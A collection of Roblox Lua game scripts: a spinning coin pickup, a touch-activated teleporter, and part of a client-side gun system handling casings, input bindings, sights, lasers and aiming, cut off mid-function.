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-- Basic settings
|
local ROTATION_SPEED = 0.025
local tweenService = game:GetService("TweenService")
local debounce = false
local breakLoop = false
script.Parent.Touched:connect(function(hit)
-- Check if player
if hit.Parent:FindFirstChild("Humanoid") and not debounce then
debounce = true
-- Give if player isn't null and hasn't reached maximum coins
local plr = game.Players:GetPlayerFromCharacter(hit.Parent)
if plr ~= nil then
local maxCoins = 10
if plr.Stats.IsHunter.Value then
maxCoins = maxCoins + 100
end
if plr.Stats.CoinsPickedUpInRound.Value < maxCoins then
-- Set the loop to break
breakLoop = true
-- Give coin
plr.Stats.CoinsPickedUpInRound.Value = plr.Stats.CoinsPickedUpInRound.Value + 1
plr.Stats.Coins.Value = plr.Stats.Coins.Value + 1000
-- Play effect
game.ReplicatedStorage.Interactions.Client.GotCoinEffect:FireClient(plr, script.Parent.Position)
-- Continously spin and make less visible
local originalCFrame = script.Parent.CFrame
for i=1, 20 do
script.Parent.CFrame = originalCFrame * CFrame.new(-5 * math.sin(i * math.pi / 20), 0, 0) * CFrame.fromEulerAnglesXYZ(0.75 * i, 0, 0)
script.Parent.Transparency = math.sin(i * math.pi / 40)
wait()
end
-- Destroy
script.Parent:destroy()
end
end
debounce = false
end
end)
while true do
-- Wait
local waitTime = wait()
-- See if should break loop
if breakLoop then
break
end
-- Tween to rotate
local goal
if script.Parent.Transparency > 0 then
goal = {
CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(ROTATION_SPEED, 0, 0),
Transparency = script.Parent.Transparency - 0.033
}
else
goal = {
CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(ROTATION_SPEED, 0, 0)
}
end
tweenService:Create(script.Parent, TweenInfo.new(waitTime, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), goal):Play()
end
|
------------------------------------
|
function onTouched(part)
if part.Parent ~= nil then
local h = part.Parent:findFirstChild("Humanoid")
if h~=nil then
local teleportfrom=script.Parent.Enabled.Value
if teleportfrom~=0 then
if h==humanoid then
return
end
local teleportto=script.Parent.Parent:findFirstChild(modelname)
if teleportto~=nil then
local torso = h.Parent.UpperTorso
local torso = h.Parent.LowerTorso
local location = {teleportto.Position}
local i = 1
local x = location[i].x
local y = location[i].y
local z = location[i].z
x = x + math.random(-1, 1)
z = z + math.random(-1, 1)
y = y + math.random(2, 3)
local cf = torso.CFrame
local lx = 0
local ly = y
local lz = 0
script.Parent.Enabled.Value=0
teleportto.Enabled.Value=0
torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz))
wait(3)
script.Parent.Enabled.Value=1
teleportto.Enabled.Value=1
else
print("Could not find teleporter!")
end
end
end
end
end
script.Parent.Touched:connect(onTouched)
|
--// Char Parts
|
local Humanoid = char:WaitForChild('Humanoid')
local Head = char:WaitForChild('Head')
local Torso = char:WaitForChild('Torso')
local HumanoidRootPart = char:WaitForChild('HumanoidRootPart')
local RootJoint = HumanoidRootPart:WaitForChild('RootJoint')
local Neck = Torso:WaitForChild('Neck')
local Right_Shoulder = Torso:WaitForChild('Right Shoulder')
local Left_Shoulder = Torso:WaitForChild('Left Shoulder')
local Right_Hip = Torso:WaitForChild('Right Hip')
local Left_Hip = Torso:WaitForChild('Left Hip')
local YOffset = Neck.C0.Y
local WaistYOffset = Neck.C0.Y
local CFNew, CFAng = CFrame.new, CFrame.Angles
local Asin = math.asin
local T = 0.15
User.MouseIconEnabled = true
plr.CameraMode = Enum.CameraMode.Classic
cam.CameraType = Enum.CameraType.Custom
cam.CameraSubject = Humanoid
if gameRules.TeamTags then
local tag = Essential.TeamTag:clone()
tag.Parent = char
tag.Disabled = false
end
local ShellFolder = Instance.new("Folder",ACS_Workspace)
ShellFolder.Name = "Casings"
local Limit = gameRules.ShellLimit
local PhysService = game:GetService("PhysicsService")
function CreateShell(Shell,Origin)
Evt.Shell:FireServer(Shell,Origin.WorldCFrame,WeaponData.EjectionOverride)
end
function SetWalkSpeed(Speed)
if gameRules.WeaponWeight and WeaponInHand and WeaponData.WeaponWeight then
if Speed - WeaponData.WeaponWeight < 1 then
char:WaitForChild("Humanoid").WalkSpeed = 1
else
char:WaitForChild("Humanoid").WalkSpeed = Speed - WeaponData.WeaponWeight
end
else
char:WaitForChild("Humanoid").WalkSpeed = Speed
end
end
Evt.Shell.OnClientEvent:Connect(function(Shell,Origin,Override)
local Distance = (char.Torso.Position - Origin.Position).Magnitude
local shellFolder
if Engine.AmmoModels:FindFirstChild(Shell) then
shellFolder = Engine.AmmoModels:FindFirstChild(Shell)
else
shellFolder = Engine.AmmoModels.Default
end
local shellStats = require(shellFolder.EjectionForce)
if Distance < 100 then
local NewShell = shellFolder.Casing:Clone()
NewShell.Parent = ShellFolder
NewShell.Anchored = false
NewShell.CanCollide = true
NewShell.CFrame = Origin * CFrame.Angles(0,math.rad(0),0)
NewShell.Name = Shell.."_Casing"
NewShell.CastShadow = false
NewShell.CustomPhysicalProperties = shellStats.PhysProperties
PhysService:SetPartCollisionGroup(NewShell,"Casings")
local Att = Instance.new("Attachment",NewShell)
Att.Position = shellStats.ForcePoint
local ShellForce = Instance.new("VectorForce",NewShell)
ShellForce.Visible = false
if Override then
ShellForce.Force = Override
else
ShellForce.Force = shellStats.CalculateForce()
end
ShellForce.Attachment0 = Att
Debris:AddItem(ShellForce,0.01)
if #ShellFolder:GetChildren() > Limit then
ShellFolder:GetChildren()[math.random(#ShellFolder:GetChildren()/2,#ShellFolder:GetChildren())]:Destroy()
end
--NewShell.Touched:Connect(function(partTouched)
-- if NewShell.AssemblyLinearVelocity.Magnitude > 20 and not partTouched:IsDescendantOf(char) and partTouched.CanCollide then
-- local NewSound = NewShell.Drop:Clone()
-- NewSound.Parent = NewShell
-- NewSound.PlaybackSpeed = math.random(30,50)/40
-- NewSound:Play()
-- NewSound.PlayOnRemove = true
-- NewSound:Destroy()
-- Debris:AddItem(NewSound,2)
-- end
--end)
if gameRules.ShellDespawn > 0 then Debris:AddItem(NewShell,gameRules.ShellDespawn) end
wait(0.25)
if NewShell and NewShell:FindFirstChild("Drop") then
local NewSound = NewShell.Drop:Clone()
NewSound.Parent = NewShell
NewSound.PlaybackSpeed = math.random(30,50)/40
NewSound:Play()
NewSound.PlayOnRemove = true
NewSound:Destroy()
Debris:AddItem(NewSound,2)
end
end
end)
function handleAction(actionName, inputState, inputObject)
if PreviousTool and canDrop and actionName == "DropWeapon" and inputState == Enum.UserInputState.Begin and gameRules.WeaponDropping then
Evt.DropWeapon:FireServer(PreviousTool,require(PreviousTool.ACS_Settings))
canDrop = false
end
if actionName == "Fire" and inputState == Enum.UserInputState.Begin and AnimDebounce then
Shoot()
if WeaponData.Type == "Grenade" then
CookGrenade = true
Grenade()
end
elseif actionName == "Fire" and inputState == Enum.UserInputState.End then
mouse1down = false
CookGrenade = false
end
if actionName == "Reload" and inputState == Enum.UserInputState.Begin and AnimDebounce and not CheckingMag and not reloading then
if WeaponData.Jammed then
Jammed()
else
Reload()
end
end
if actionName == "Reload" and inputState == Enum.UserInputState.Begin and reloading and WeaponData.ShellInsert then
CancelReload = true
end
if actionName == "CycleLaser" and inputState == Enum.UserInputState.Begin and LaserAtt then
SetLaser()
end
if actionName == "CycleLight" and inputState == Enum.UserInputState.Begin and TorchAtt then
SetTorch()
end
if actionName == "CycleFiremode" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.FireModes.ChangeFiremode then
Firemode()
end
if actionName == "CycleAimpart" and inputState == Enum.UserInputState.Begin then
SetAimpart()
end
if actionName == "ZeroUp" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.EnableZeroing then
if WeaponData.CurrentZero < WeaponData.MaxZero then
WeaponInHand.Handle.Click:play()
WeaponData.CurrentZero = math.min(WeaponData.CurrentZero + WeaponData.ZeroIncrement, WeaponData.MaxZero)
UpdateGui()
end
end
if actionName == "ZeroDown" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.EnableZeroing then
if WeaponData.CurrentZero > 0 then
WeaponInHand.Handle.Click:play()
WeaponData.CurrentZero = math.max(WeaponData.CurrentZero - WeaponData.ZeroIncrement, 0)
UpdateGui()
end
end
if actionName == "CheckMag" and inputState == Enum.UserInputState.Begin and not CheckingMag and not reloading and not runKeyDown and AnimDebounce and WeaponData.CanCheckMag then
CheckMagFunction()
end
if actionName == "ToggleBipod" and inputState == Enum.UserInputState.Begin and CanBipod then
BipodActive = not BipodActive
UpdateGui()
end
if actionName == "NVG" and inputState == Enum.UserInputState.Begin and not NVGdebounce then
if not plr.Character then return; end;
local helmet = plr.Character:FindFirstChild("Helmet")
if not helmet then return; end;
local nvg = helmet:FindFirstChild("Up")
if not nvg then return; end;
NVGdebounce = true
delay(.8,function()
NVG = not NVG
Evt.NVG:Fire(NVG)
NVGdebounce = false
end)
end
if actionName == "ADS" and inputState == Enum.UserInputState.Begin and AnimDebounce then
if WeaponData and WeaponData.canAim and GunStance > -2 and not runKeyDown and not CheckingMag then
aimming = not aimming
ADS(aimming)
end
if WeaponData.Type == "Grenade" then
GrenadeMode()
end
end
if actionName == "Stand" and inputState == Enum.UserInputState.Begin and ChangeStance and not Swimming and not Sentado and not runKeyDown and not ACS_Client:GetAttribute("Collapsed") then
if Stances == 2 then
Crouched = true
Proned = false
Stances = 1
CameraY = -1
Crouch()
elseif Stances == 1 then
Crouched = false
Stances = 0
CameraY = 0
Stand()
end
end
if actionName == "Crouch" and inputState == Enum.UserInputState.Begin and ChangeStance and not Swimming and not Sentado and not runKeyDown and not ACS_Client:GetAttribute("Collapsed") then
if Stances == 0 then
Stances = 1
CameraY = -1
Crouch()
Crouched = true
elseif Stances == 1 then
Stances = 2
CameraX = 0
CameraY = -3.25
Virar = 0
Lean()
Prone()
Crouched = false
Proned = true
end
end
if actionName == "ToggleWalk" and inputState == Enum.UserInputState.Begin and ChangeStance and not runKeyDown then
Steady = not Steady
SE_GUI.MainFrame.Poses.Steady.Visible = Steady
if Stances == 0 then
Stand()
end
end
if actionName == "LeanLeft" and inputState == Enum.UserInputState.Begin and Stances ~= 2 and ChangeStance and not Swimming and not runKeyDown and CanLean and not ACS_Client:GetAttribute("Collapsed") then
if Virar == 0 or Virar == 1 then
Virar = -1
CameraX = -1.25
else
Virar = 0
CameraX = 0
end
Lean()
end
if actionName == "LeanRight" and inputState == Enum.UserInputState.Begin and Stances ~= 2 and ChangeStance and not Swimming and not runKeyDown and CanLean and not ACS_Client:GetAttribute("Collapsed") then
if Virar == 0 or Virar == -1 then
Virar = 1
CameraX = 1.25
else
Virar = 0
CameraX = 0
end
Lean()
end
if actionName == "Run" and inputState == Enum.UserInputState.Begin and running and not script.Parent:GetAttribute("Injured") then
mouse1down = false
runKeyDown = true
Stand()
Stances = 0
Virar = 0
CameraX = 0
CameraY = 0
Lean()
--SetWalkSpeed(gameRules.RunWalkSpeed)
if aimming then
aimming = false
ADS(aimming)
end
if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then
GunStance = 3
Evt.GunStance:FireServer(GunStance,AnimData)
SprintAnim()
end
elseif actionName == "Run" and inputState == Enum.UserInputState.End and runKeyDown then
runKeyDown = false
Stand()
if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
IdleAnim()
end
end
end
function resetMods()
ModTable.camRecoilMod.RecoilUp = 1
ModTable.camRecoilMod.RecoilLeft = 1
ModTable.camRecoilMod.RecoilRight = 1
ModTable.camRecoilMod.RecoilTilt = 1
ModTable.gunRecoilMod.RecoilUp = 1
ModTable.gunRecoilMod.RecoilTilt = 1
ModTable.gunRecoilMod.RecoilLeft = 1
ModTable.gunRecoilMod.RecoilRight = 1
ModTable.AimRM = 1
ModTable.SpreadRM = 1
ModTable.DamageMod = 1
ModTable.minDamageMod = 1
ModTable.MinRecoilPower = 1
ModTable.MaxRecoilPower = 1
ModTable.RecoilPowerStepAmount = 1
ModTable.MinSpread = 1
ModTable.MaxSpread = 1
ModTable.AimInaccuracyStepAmount = 1
ModTable.AimInaccuracyDecrease = 1
ModTable.WalkMult = 1
ModTable.MuzzleVelocity = 1
end
function setMods(ModData)
ModTable.camRecoilMod.RecoilUp = ModTable.camRecoilMod.RecoilUp * ModData.camRecoil.RecoilUp
ModTable.camRecoilMod.RecoilLeft = ModTable.camRecoilMod.RecoilLeft * ModData.camRecoil.RecoilLeft
ModTable.camRecoilMod.RecoilRight = ModTable.camRecoilMod.RecoilRight * ModData.camRecoil.RecoilRight
ModTable.camRecoilMod.RecoilTilt = ModTable.camRecoilMod.RecoilTilt * ModData.camRecoil.RecoilTilt
ModTable.gunRecoilMod.RecoilUp = ModTable.gunRecoilMod.RecoilUp * ModData.gunRecoil.RecoilUp
ModTable.gunRecoilMod.RecoilTilt = ModTable.gunRecoilMod.RecoilTilt * ModData.gunRecoil.RecoilTilt
ModTable.gunRecoilMod.RecoilLeft = ModTable.gunRecoilMod.RecoilLeft * ModData.gunRecoil.RecoilLeft
ModTable.gunRecoilMod.RecoilRight = ModTable.gunRecoilMod.RecoilRight * ModData.gunRecoil.RecoilRight
ModTable.AimRM = ModTable.AimRM * ModData.AimRecoilReduction
ModTable.SpreadRM = ModTable.SpreadRM * ModData.AimSpreadReduction
ModTable.DamageMod = ModTable.DamageMod * ModData.DamageMod
ModTable.minDamageMod = ModTable.minDamageMod * ModData.minDamageMod
ModTable.MinRecoilPower = ModTable.MinRecoilPower * ModData.MinRecoilPower
ModTable.MaxRecoilPower = ModTable.MaxRecoilPower * ModData.MaxRecoilPower
ModTable.RecoilPowerStepAmount = ModTable.RecoilPowerStepAmount * ModData.RecoilPowerStepAmount
ModTable.MinSpread = ModTable.MinSpread * ModData.MinSpread
ModTable.MaxSpread = ModTable.MaxSpread * ModData.MaxSpread
ModTable.AimInaccuracyStepAmount = ModTable.AimInaccuracyStepAmount * ModData.AimInaccuracyStepAmount
ModTable.AimInaccuracyDecrease = ModTable.AimInaccuracyDecrease * ModData.AimInaccuracyDecrease
ModTable.WalkMult = ModTable.WalkMult * ModData.WalkMult
ModTable.MuzzleVelocity = ModTable.MuzzleVelocity * ModData.MuzzleVelocityMod
end
function loadAttachment(weapon)
if not weapon or not weapon:FindFirstChild("Nodes") then return; end;
--load sight Att
if weapon.Nodes:FindFirstChild("Sight") and WeaponData.SightAtt ~= "" then
SightData = require(AttModules[WeaponData.SightAtt])
SightAtt = AttModels[WeaponData.SightAtt]:Clone()
SightAtt.Parent = weapon
SightAtt:SetPrimaryPartCFrame(weapon.Nodes.Sight.CFrame)
weapon.AimPart.CFrame = SightAtt.AimPos.CFrame
reticle = SightAtt.SightMark.SurfaceGui.Border.Scope
if SightData.SightZoom > 0 then
ModTable.ZoomValue = SightData.SightZoom
end
if SightData.SightZoom2 > 0 then
ModTable.Zoom2Value = SightData.SightZoom2
end
setMods(SightData)
for index, key in pairs(weapon:GetChildren()) do
if key.Name ~= "IS" then continue; end;
key.Transparency = 1
end
for index, key in pairs(SightAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
--load Barrel Att
if weapon.Nodes:FindFirstChild("Barrel") ~= nil and WeaponData.BarrelAtt ~= "" then
BarrelData = require(AttModules[WeaponData.BarrelAtt])
BarrelAtt = AttModels[WeaponData.BarrelAtt]:Clone()
BarrelAtt.Parent = weapon
BarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.Barrel.CFrame)
if BarrelAtt:FindFirstChild("BarrelPos") ~= nil then
weapon.Handle.Muzzle.WorldCFrame = BarrelAtt.BarrelPos.CFrame
end
Suppressor = BarrelData.IsSuppressor
FlashHider = BarrelData.IsFlashHider
setMods(BarrelData)
for index, key in pairs(BarrelAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
--load Under Barrel Att
if weapon.Nodes:FindFirstChild("UnderBarrel") ~= nil and WeaponData.UnderBarrelAtt ~= "" then
UnderBarrelData = require(AttModules[WeaponData.UnderBarrelAtt])
UnderBarrelAtt = AttModels[WeaponData.UnderBarrelAtt]:Clone()
UnderBarrelAtt.Parent = weapon
UnderBarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.UnderBarrel.CFrame)
setMods(UnderBarrelData)
BipodAtt = UnderBarrelData.IsBipod
if BipodAtt then
CAS:BindAction("ToggleBipod", handleAction, true, gameRules.ToggleBipod)
end
for index, key in pairs(UnderBarrelAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
if weapon.Nodes:FindFirstChild("Other") ~= nil and WeaponData.OtherAtt ~= "" then
OtherData = require(AttModules[WeaponData.OtherAtt])
OtherAtt = AttModels[WeaponData.OtherAtt]:Clone()
OtherAtt.Parent = weapon
OtherAtt:SetPrimaryPartCFrame(weapon.Nodes.Other.CFrame)
setMods(OtherData)
LaserAtt = OtherData.EnableLaser
TorchAtt = OtherData.EnableFlashlight
if OtherData.InfraRed then
IREnable = true
end
for index, key in pairs(OtherAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
end
function SetLaser()
if gameRules.RealisticLaser and IREnable then
if not LaserActive and not IRmode then
LaserActive = true
IRmode = true
elseif LaserActive and IRmode then
IRmode = false
else
LaserActive = false
IRmode = false
end
else
LaserActive = not LaserActive
end
WeaponInHand.Handle.Click:play()
UpdateGui()
if LaserActive then
if Pointer then return; end;
for index, Key in pairs(WeaponInHand:GetDescendants()) do
if not Key:IsA("BasePart") or Key.Name ~= "LaserPoint" then continue; end;
local LaserPointer = Instance.new('Part',Key)
LaserPointer.Shape = 'Ball'
LaserPointer.Size = Vector3.new(0.2, 0.2, 0.2)
LaserPointer.CanCollide = false
LaserPointer.Color = Key.Color
LaserPointer.Material = Enum.Material.Neon
local LaserSP = Instance.new('Attachment',Key)
local LaserEP = Instance.new('Attachment',LaserPointer)
local Laser = Instance.new('Beam',LaserPointer)
Laser.Transparency = NumberSequence.new(0)
Laser.LightEmission = 1
Laser.LightInfluence = 1
Laser.Attachment0 = LaserSP
Laser.Attachment1 = LaserEP
Laser.Color = ColorSequence.new(Key.Color)
Laser.FaceCamera = true
Laser.Width0 = 0.01
Laser.Width1 = 0.01
if gameRules.RealisticLaser then
Laser.Enabled = false
end
Pointer = LaserPointer
break
end
else
for index, Key in pairs(WeaponInHand:GetDescendants()) do
if not Key:IsA("BasePart") or Key.Name ~= "LaserPoint" then continue; end;
Key:ClearAllChildren()
break
end
Pointer = nil
if gameRules.ReplicatedLaser then
Evt.SVLaser:FireServer(nil,2,nil,false,WeaponTool)
end
end
end
function SetTorch()
TorchActive = not TorchActive
for index, Key in pairs(WeaponInHand:GetDescendants()) do
if not Key:IsA("BasePart") or Key.Name ~= "FlashPoint" then continue; end;
Key.Light.Enabled = TorchActive
end
Evt.SVFlash:FireServer(WeaponTool,TorchActive)
WeaponInHand.Handle.Click:play()
UpdateGui()
end
function ToggleADS(Type)
local ADSTween
if WeaponData.adsTime then
ADSTween = TweenInfo.new(WeaponData.adsTime / 20,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false,WeaponData.adsTime / 20)
else
ADSTween = TweenInfo.new(0.2,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false,0.2)
end
if Type == "REG" then
for _, child in pairs(WeaponInHand:GetChildren()) do
if child.Name == "REG" then
TS:Create(child, ADSTween, {Transparency = 0}):Play()
elseif child.Name == "ADS" then
TS:Create(child, ADSTween, {Transparency = 1}):Play()
end
end
elseif Type == "ADS" then
for _, child in pairs(WeaponInHand:GetChildren()) do
if child.Name == "REG" then
TS:Create(child, ADSTween, {Transparency = 1}):Play()
elseif child.Name == "ADS" then
TS:Create(child, ADSTween, {Transparency = 0}):Play()
end
end
end
end
function ADS(aimming)
if not WeaponData or not WeaponInHand then return; end;
if aimming then
if SafeMode then
SafeMode = false
GunStance = 0
IdleAnim()
UpdateGui()
end
game:GetService('UserInputService').MouseDeltaSensitivity = (Sens/100)
WeaponInHand.Handle.AimDown:Play()
if WeaponData.ADSEnabled then
if WeaponData.ADSEnabled[AimPartMode] then
ToggleADS("ADS")
end
else
ToggleADS("ADS")
end
GunStance = 2
Evt.GunStance:FireServer(GunStance,AnimData)
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play()
else
game:GetService('UserInputService').MouseDeltaSensitivity = 1
WeaponInHand.Handle.AimUp:Play()
ToggleADS("REG")
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
if WeaponData.CrossHair then
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
end
if WeaponData.CenterDot then
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 0}):Play()
else
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play()
end
end
end
function SetAimpart()
if aimming then
if AimPartMode == 1 then
AimPartMode = 2
if WeaponInHand:FindFirstChild('AimPart2') then
CurAimpart = WeaponInHand:FindFirstChild('AimPart2')
end
else
AimPartMode = 1
CurAimpart = WeaponInHand:FindFirstChild('AimPart')
end
--print("Set to Aimpart: "..AimPartMode)
if WeaponData.ADSEnabled then
if WeaponData.ADSEnabled[AimPartMode] then
ToggleADS("ADS")
else
ToggleADS("REG")
end
end
end
end
function Firemode()
WeaponInHand.Handle.SafetyClick:Play()
mouse1down = false
---Semi Settings---
if WeaponData.ShootType == 1 and WeaponData.FireModes.Burst == true then
WeaponData.ShootType = 2
elseif WeaponData.ShootType == 1 and WeaponData.FireModes.Burst == false and WeaponData.FireModes.Auto == true then
WeaponData.ShootType = 3
---Burst Settings---
elseif WeaponData.ShootType == 2 and WeaponData.FireModes.Auto == true then
WeaponData.ShootType = 3
elseif WeaponData.ShootType == 2 and WeaponData.FireModes.Semi == true and WeaponData.FireModes.Auto == false then
WeaponData.ShootType = 1
---Auto Settings---
elseif WeaponData.ShootType == 3 and WeaponData.FireModes.Semi == true then
WeaponData.ShootType = 1
elseif WeaponData.ShootType == 3 and WeaponData.FireModes.Semi == false and WeaponData.FireModes.Burst == true then
WeaponData.ShootType = 2
---Explosive Settings---
end
UpdateGui()
end
function setup(Tool)
if not char or not Tool or not char:FindFirstChild("Humanoid") or char.Humanoid.Health <= 0 then return; end;
local ToolCheck = Tool
local GunModelCheck = GunModels:FindFirstChild(Tool.Name)
if not ToolCheck or not GunModelCheck then warn("Tool Or Gun Model Doesn't Exist") return; end;
ToolEquip = true
User.MouseIconEnabled = false
plr.CameraMode = Enum.CameraMode.LockFirstPerson
WeaponTool = ToolCheck
if WeaponTool then
PreviousTool = WeaponTool
canDrop = true
end
WeaponData = require(Tool:FindFirstChild("ACS_Settings"))
AnimData = require(Tool:FindFirstChild("ACS_Animations"))
WeaponInHand = GunModelCheck:Clone()
WeaponInHand.PrimaryPart = WeaponInHand:WaitForChild("Handle")
if WeaponData.Type == "Gun" then WeaponInHand.Handle.AimDown:Play() end
Evt.Equip:FireServer(Tool,1,WeaponData,AnimData)
RepValues = Tool:WaitForChild("RepValues")
ViewModel = ArmModel:WaitForChild("Arms"):Clone()
ViewModel.Name = "Viewmodel"
if char:WaitForChild("Body Colors") then
local Colors = char:WaitForChild("Body Colors"):Clone()
Colors.Parent = ViewModel
end
if char:FindFirstChild("Shirt") then
local Shirt = char:FindFirstChild("Shirt"):Clone()
Shirt.Parent = ViewModel
end
AnimPart = Instance.new("Part",ViewModel)
AnimPart.Size = Vector3.new(0.1,0.1,0.1)
AnimPart.Anchored = true
AnimPart.CanCollide = false
AnimPart.Transparency = 1
ViewModel.PrimaryPart = AnimPart
LArmWeld = Instance.new("Motor6D",AnimPart)
LArmWeld.Name = "LeftArm"
LArmWeld.Part0 = AnimPart
RArmWeld = Instance.new("Motor6D",AnimPart)
RArmWeld.Name = "RightArm"
RArmWeld.Part0 = AnimPart
GunWeld = Instance.new("Motor6D",AnimPart)
GunWeld.Name = "Handle"
--setup arms to camera
ViewModel.Parent = cam
maincf = AnimData.MainCFrame
guncf = AnimData.GunCFrame
larmcf = AnimData.LArmCFrame
rarmcf = AnimData.RArmCFrame
if WeaponData.CrossHair then
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
if WeaponData.Bullets > 1 then
Crosshair.Up.Rotation = 90
Crosshair.Down.Rotation = 90
Crosshair.Left.Rotation = 90
Crosshair.Right.Rotation = 90
else
Crosshair.Up.Rotation = 0
Crosshair.Down.Rotation = 0
Crosshair.Left.Rotation = 0
Crosshair.Right.Rotation = 0
end
else
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
end
if WeaponData.CenterDot then
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 0}):Play()
else
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play()
end
LArm = ViewModel:WaitForChild("Left Arm")
LArmWeld.Part1 = LArm
LArmWeld.C0 = CFrame.new()
LArmWeld.C1 = CFrame.new(1,-1,-5) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)):inverse()
RArm = ViewModel:WaitForChild("Right Arm")
RArmWeld.Part1 = RArm
RArmWeld.C0 = CFrame.new()
RArmWeld.C1 = CFrame.new(-1,-1,-5) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)):inverse()
GunWeld.Part0 = RArm
LArm.Anchored = false
RArm.Anchored = false
--setup weapon to camera
ModTable.ZoomValue = WeaponData.Zoom
ModTable.Zoom2Value = WeaponData.Zoom2
IREnable = WeaponData.InfraRed
CAS:BindAction("Fire", handleAction, true, Enum.UserInputType.MouseButton1, Enum.KeyCode.ButtonR2)
CAS:BindAction("ADS", handleAction, true, Enum.UserInputType.MouseButton2, Enum.KeyCode.ButtonL2)
CAS:BindAction("Reload", handleAction, true, gameRules.Reload, Enum.KeyCode.ButtonB)
CAS:BindAction("CycleAimpart", handleAction, false, gameRules.SwitchSights)
CAS:BindAction("CycleLaser", handleAction, true, gameRules.ToggleLaser)
CAS:BindAction("CycleLight", handleAction, true, gameRules.ToggleLight)
CAS:BindAction("CycleFiremode", handleAction, false, gameRules.FireMode)
CAS:BindAction("CheckMag", handleAction, false, gameRules.CheckMag)
CAS:BindAction("ZeroDown", handleAction, false, gameRules.ZeroDown)
CAS:BindAction("ZeroUp", handleAction, false, gameRules.ZeroUp)
CAS:BindAction("DropWeapon", handleAction, true, gameRules.DropGun)
loadAttachment(WeaponInHand)
BSpread = math.min(WeaponData.MinSpread * ModTable.MinSpread, WeaponData.MaxSpread * ModTable.MaxSpread)
RecoilPower = math.min(WeaponData.MinRecoilPower * ModTable.MinRecoilPower, WeaponData.MaxRecoilPower * ModTable.MaxRecoilPower)
Ammo = RepValues.Mag.Value
StoredAmmo = RepValues.StoredAmmo.Value
CurAimpart = WeaponInHand:FindFirstChild("AimPart")
for _, cPart in pairs(WeaponInHand:GetChildren()) do
if cPart.Name == "Warhead" and Ammo < 1 then
cPart.Transparency = 1
end
end
for index, Key in pairs(WeaponInHand:GetDescendants()) do
if Key:IsA("BasePart") and Key.Name == "FlashPoint" then
TorchAtt = true
end
if Key:IsA("BasePart") and Key.Name == "LaserPoint" then
LaserAtt = true
end
end
if WeaponData.Type == "Gun" and WeaponData.ShellEjectionMod then
WeaponInHand.Bolt.SlidePull.Played:Connect(function()
--print(canPump)
if Ammo > 0 or canPump then
CreateShell(WeaponData.BulletType,WeaponInHand.Handle.Chamber)
WeaponInHand.Handle.Chamber.Smoke:Emit(10)
canPump = false
end
end)
